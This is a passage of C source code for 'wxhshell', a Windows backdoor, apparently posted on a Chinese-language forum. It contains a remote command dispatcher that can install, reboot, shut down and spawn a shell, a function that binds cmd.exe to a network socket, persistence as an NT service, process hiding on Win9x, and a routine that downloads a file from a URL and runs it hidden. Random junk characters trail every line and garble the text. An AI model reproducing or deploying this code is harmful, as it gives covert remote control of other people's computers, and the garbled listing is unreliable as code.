      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SmS6B5j\R  
    break; l\"CHwN?Y  
  } ?e%u[Q0  
  // 安装 l1.eAs5U  
  case 'i': { \qDY0hIv t  
    if(Install()) Mr*CJgy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r]'[qaP  
    else ]5Q)mWF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CD. XZA[  
    break; Y>{%,d#s_  
    } E#A}2|7,g  
  // 卸载 [s+FX5'K  
  case 'r': { _&N:%;9uD  
    if(Uninstall()) *Z+U}QhHD6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , {}S<^?]  
    else u/CR7Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T2A74>Nw  
    break; 8 .&P4u i  
    } e< G[!m  
  // 显示 wxhshell 所在路径 =eR#]d  
  case 'p': { .zy2_3:  
    char svExeFile[MAX_PATH]; /uPMzl  
    strcpy(svExeFile,"\n\r"); v+i==vxg  
      strcat(svExeFile,ExeFile); ?k=)T]-}  
        send(wsh,svExeFile,strlen(svExeFile),0); YkQ=rurE  
    break; 'JO}6 ;W  
    } |fb*<o eT  
  // 重启 y#P _ }Kfo  
  case 'b': { E*yot[kj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k!T-X2L=  
    if(Boot(REBOOT)) g2vt(Gf;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mC$ te  
    else { ?es9j]  
    closesocket(wsh); Odm1;\=Eg+  
    ExitThread(0); rcf#8  
    } *o6QBb  
    break; MH]?:]K9V  
    } 'X\C/8\  
  // 关机 29W`L2L  
  case 'd': { *CVI@:Q9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Snq0OxS[v  
    if(Boot(SHUTDOWN)) MM~4D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % C)|fDwN  
    else { l xP!WP  
    closesocket(wsh); {M23a _t\  
    ExitThread(0); 'N&s$XB,  
    } :4>LtfA  
    break; @sRb1+nn  
    } ?i\$U'2*z3  
  // 获取shell }5d|y*  
  case 's': { "/x/]Qx2  
    CmdShell(wsh); Of  nN  
    closesocket(wsh); m:g%5' qDZ  
    ExitThread(0); zR%)@wh  
    break; 9S?b &]  
  } e63io0g>  
  // 退出 q#0yu"<  
  case 'x': { pW&8 =Ew  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0a+U >S#  
    CloseIt(wsh); C?rb}(m  
    break; B~3qEdoK5`  
    } aSeh?2n8  
  // 离开 kqCUr|M.P  
  case 'q': { m.U&O=]5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V^\b"1X7N  
    closesocket(wsh); ?aZ\D g{  
    WSACleanup(); <2\Q Y  
    exit(1); 2~)q080jh  
    break; G)=+Nt\ *  
        } ^56#{~%^?  
  } >SS979  
  } &qV_|f;  
QjsN7h&%  
  // 提示信息 pS!N<;OWr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b~+\\,q}  
} 2!a~YT  
  } ([hd  
|H8UT S X+  
  return; qjRp5  
} =V^8RlBi  
0[s<!k9=  
// shell模块句柄 D|8h^*Ya  
int CmdShell(SOCKET sock) z.:IUm{z  
{ U}W7[f lc  
STARTUPINFO si; C 2?p>S/q  
ZeroMemory(&si,sizeof(si)); *L5L.: Ze  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z"!=A}i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B 3eNvUFZg  
PROCESS_INFORMATION ProcessInfo; s`L>mRw`  
char cmdline[]="cmd"; c`V~?]I>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {Yt i  
  return 0; p|=0EWo4U  
} o&HFlDZ5jO  
{"^#CSi  
// 自身启动模式 =!2(7Nr  
int StartFromService(void) 84-7!< 6i  
{ -axmfE?g0  
typedef struct SA6.g2pFz  
{ j"<F?k@`Q  
  DWORD ExitStatus; [u8JqX  
  DWORD PebBaseAddress; YfH+kDT  
  DWORD AffinityMask; LMYO>]dg  
  DWORD BasePriority; -GL-&^3IjH  
  ULONG UniqueProcessId; f>+:UGmP  
  ULONG InheritedFromUniqueProcessId; oz?6$oE(bt  
}   PROCESS_BASIC_INFORMATION; M+\LH  
5?MKx!%  
PROCNTQSIP NtQueryInformationProcess; !%YV0O0  
:;Wh!8+j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G6j9,#2@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $!"*h  
v:Z.8m8D  
  HANDLE             hProcess; FuO'%3;c  
  PROCESS_BASIC_INFORMATION pbi; gx6$:j;   
ZSW`/}Dp;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f@J-6uQ7w  
  if(NULL == hInst ) return 0; C9 cQ} j:  
4";[Xr{pW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,:/3'L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Yl:1rz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AlT04H   
rxAb]~MMp  
  if (!NtQueryInformationProcess) return 0; n5 jzVv  
y :8Oc?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z,=k F I  
  if(!hProcess) return 0; .JL?RH2@8  
`@i! 'h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' |K408i   
Uzd\#edxJ  
  CloseHandle(hProcess); gR) )K)  
+wg|~Lef h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); . vQCX1V(  
if(hProcess==NULL) return 0; VBI~U?0  
)3~):+  
HMODULE hMod; i9k/X&V  
char procName[255]; s:#\U!>0`  
unsigned long cbNeeded; ~m.@{Do0p  
)}jXC4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j]5bs*G  
/0qLMlL$  
  CloseHandle(hProcess); }W k!):=y  
'`Iuf\  
if(strstr(procName,"services")) return 1; // 以服务启动 eo&nAr  
Q'S"$^~{  
  return 0; // 注册表启动 R7d45Wl  
} ];1Mg  
m`Ver:{  
// 主模块 |\MgE.N  
int StartWxhshell(LPSTR lpCmdLine) m dTCe HX  
{ vMV}M%~  
  SOCKET wsl; 2bk~6Osp  
BOOL val=TRUE; Grw|8xN0t  
  int port=0; 6S# e?>"+  
  struct sockaddr_in door; `aW>h8$I)  
-(]s!,  
  if(wscfg.ws_autoins) Install(); rt[w yz8  
%Cz&7qf"  
port=atoi(lpCmdLine); lUd;u*A  
S @ MO  
if(port<=0) port=wscfg.ws_port; cRhu]fv()  
&%Lps_+fJ  
  WSADATA data; Akbt%&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ma,2_oq+  
]V K%6PQ0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .`3O4]N[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ==\Qj{ 7`  
  door.sin_family = AF_INET; e$3{URg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]e+88eQ  
  door.sin_port = htons(port); ?W(>Yefk  
z.q^`01/H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5dE@ePO[/9  
closesocket(wsl); M &g1'zv?/  
return 1; 3b2[i,m<L  
} r2]KP(T8|  
 ]%L?b-e  
  if(listen(wsl,2) == INVALID_SOCKET) { `i,l)X]  
closesocket(wsl); *Jy'3o  
return 1; ZYy?JDAO  
} |aovZ/b4  
  Wxhshell(wsl); :Ej#qYi  
  WSACleanup(); W5^m[,GU'  
w+NdEE4H9z  
return 0; MM*B.y~TxZ  
.A. VOf_  
} "[rChso  
Hq*\,`b&  
// 以NT服务方式启动 uwcm%N;I"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gb\Nqx(  
{ 8AK=FX&@&  
DWORD   status = 0; 0Y81B;/F  
  DWORD   specificError = 0xfffffff; }9GD'N?4  
|ZAR!u&0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5DEK`#*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0 xUw}T6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O#g'4 S  
  serviceStatus.dwWin32ExitCode     = 0; U$fh ~w<[  
  serviceStatus.dwServiceSpecificExitCode = 0; q`l%NE  
  serviceStatus.dwCheckPoint       = 0; dp3>G2Yq  
  serviceStatus.dwWaitHint       = 0; ?W*{% my  
Nj<}t/e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +M"Fv9  
  if (hServiceStatusHandle==0) return; 2+7r Lf`l  
em+dQ15  
status = GetLastError(); N<|_tC+ct  
  if (status!=NO_ERROR) G98P<cyD  
{ wsnR$FhQ`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aeQvIob@  
    serviceStatus.dwCheckPoint       = 0; Stkyz:,(  
    serviceStatus.dwWaitHint       = 0; %8_bh8g-  
    serviceStatus.dwWin32ExitCode     = status; qW1d;pt  
    serviceStatus.dwServiceSpecificExitCode = specificError; pu:Ie#xTDf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jo8hVWJ7V*  
    return; <,r|*pkhp~  
  } %MQU&H9[  
=r3%jWH6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O]\6Pv@N  
  serviceStatus.dwCheckPoint       = 0; GESEj%R/b  
  serviceStatus.dwWaitHint       = 0; F~`Yh6v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3++}4%w  
} R aVOZ=^-  
hmRnr=2N  
// 处理NT服务事件,比如:启动、停止 :ub 4p4h*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OD*\<Sc  
{ csceu+ IA  
switch(fdwControl) ;#F/2UgHB  
{ KxZO.>,  
case SERVICE_CONTROL_STOP: `K,{Y_  
  serviceStatus.dwWin32ExitCode = 0; 8 z) K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ho}"8YEXNV  
  serviceStatus.dwCheckPoint   = 0; Rr'#OxF  
  serviceStatus.dwWaitHint     = 0; b) k\?'j  
  { UE-<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kK27hfsw  
  } h%9>js^~  
  return; p(jY2&g  
case SERVICE_CONTROL_PAUSE: /k$h2,O"*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M.|cl#  
  break; hV(>}hb  
case SERVICE_CONTROL_CONTINUE: |Va*=@&6J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U7)#9qS4  
  break; gn2*'_V~3  
case SERVICE_CONTROL_INTERROGATE: $2p=vi 3  
  break; otA59 ;Z  
}; -YXNB[C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }e7os0;s  
} KT3W>/#E  
gRnn}LL^  
// 标准应用程序主函数 ,g.*Mx`-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \~sc6ho  
{ |[/<[@\''  
DChqcdx~~  
// 获取操作系统版本 !e8OC9 _x  
OsIsNt=GetOsVer(); wLF;nzv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3pxZk%  
;_o1{?~  
  // 从命令行安装 y9K U&L2  
  if(strpbrk(lpCmdLine,"iI")) Install(); p#5U[@TK  
)\ `AD#  
  // 下载执行文件 +3a} ~pW  
if(wscfg.ws_downexe) { BHVC&F*>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y&ZyThqg  
  WinExec(wscfg.ws_filenam,SW_HIDE); |K|[>[?Z/  
} $+ z 3  
Q]JWWKt6rV  
if(!OsIsNt) { hA6   
// 如果时win9x,隐藏进程并且设置为注册表启动 z%)~s/2Rs  
HideProc(); 1JRM@!x  
StartWxhshell(lpCmdLine); rq>}] U  
} )\S3Q  
else o!]muO*Rm  
  if(StartFromService()) QKW\z aG  
  // 以服务方式启动 dRdI('  
  StartServiceCtrlDispatcher(DispatchTable); bW]7$?acv  
else HE;}B!>  
  // 普通方式启动 y*F !k{P  
  StartWxhshell(lpCmdLine); wbIgZ]o!/;  
L}~"R/iWCT  
return 0; [>2iz  
}
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只看该作者 1 发表于: 2006-10-10
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